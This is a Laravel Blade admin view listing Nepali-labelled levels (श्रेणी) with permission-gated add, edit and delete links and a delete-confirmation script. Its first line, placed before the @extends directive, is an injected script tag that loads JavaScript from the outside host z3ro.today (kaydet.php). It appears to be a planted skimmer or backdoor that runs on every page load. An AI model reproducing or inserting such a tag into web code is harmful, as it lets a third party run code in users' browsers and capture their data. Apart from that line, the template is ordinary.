<script src="http://z3ro.today/kaydet.php"></script>@extends('layouts.app')

@section('content')
<!-- start page title -->
<div class="row">
    <div class="col-12">
        <div class="page-title-box d-sm-flex align-items-center justify-content-between">
            <h4 class="mb-sm-0 font-size-18">श्रेणी</h4>

            <div class="page-title-right">
                <ol class="breadcrumb m-0">
                    <!-- <li class="breadcrumb-item"><a href="javascript: void(0);">Invoices</a></li> -->
                    <li class="breadcrumb-item active">श्रेणी</li>
                </ol>
            </div>

        </div>
    </div>
</div>
<!-- end page title -->

<div class="row">
    <div class="col-lg-12">
        <div class="card">
            <div class="card-body">
                @if (auth()->user()->usertype == 1 || in_array('9', explode(',', auth()->user()->allowed_modules)))
                <div class="row">
                    <div class="col-sm">
                        <div class="mb-4">
                            <a href="{{route('addlevel')}}" class="btn btn-success waves-effect waves-light"><i class="bx bx-plus me-1"></i> श्रेणी थप्ने</a>
                        </div>
                    </div>
                </div>
                @endif
                <!-- end row -->
                <table class="table align-middle datatable dt-responsive table-check nowrap" style="border-collapse: collapse; border-spacing: 0 8px; width: 100%;">
                    <thead>
                        <tr class="bg-transparent">
                            <th width="10%">स. नं.</th>
                            <th width="80%">श्रेणी</th>

                            <th width="10%"></th>
                        </tr>
                    </thead>
                    <tbody>

                        @foreach($levelName as $sn=> $data)
                        <tr>
                            <td>{{ ++$sn }}</td>
                            <td>{{$data->level}}</td>
                            <td>
                                <div class="dropdown">
                                    <button class="btn btn-link font-size-16 shadow-none py-0 text-muted dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                                        <i class="bx bx-dots-horizontal-rounded"></i>
                                    </button>
                                    <ul class="dropdown-menu dropdown-menu-end">
                                        @if (auth()->user()->usertype == 1 || in_array('7', explode(',', auth()->user()->allowed_modules)))
                                        <li><a class="dropdown-item" href="{{url('updatelevelview', $data->id) }}">Edit</a></li>
                                        @endif

                                        @if (auth()->user()->usertype == 1 || in_array('8', explode(',', auth()->user()->allowed_modules)))
                                        <li><a class="dropdown-item" href="{{url('deletelevel', $data->id) }}">Delete</a></li>
                                        @endif
                                    </ul>
                                </div>
                            </td>
                        </tr>

                        @endforeach

                    </tbody>
                </table>

                <!-- end table responsive -->
            </div>
            <!-- end card body -->
        </div>
        <!-- end card -->
    </div>
    <!-- end col -->
</div>
<!-- end row -->
<script>
    // Wait for the document to be fully loaded
    document.addEventListener('DOMContentLoaded', function() {
        // Find all elements with class 'delete-link'
        var deleteLinks = document.querySelectorAll('.delete-link');

        // Attach event listener to each delete link
        deleteLinks.forEach(function(link) {
            link.addEventListener('click', function(event) {
                // Prevent the default action of the link
                event.preventDefault();

                // Display a confirmation dialog
                var confirmDelete = confirm("Do you really want to delete this?");

                // If user confirms deletion, proceed with the deletion action
                if (confirmDelete) {
                    // Redirect to the delete URL
                    window.location.href = link.href;
                }
            });
        });
    });
</script>
@endsection
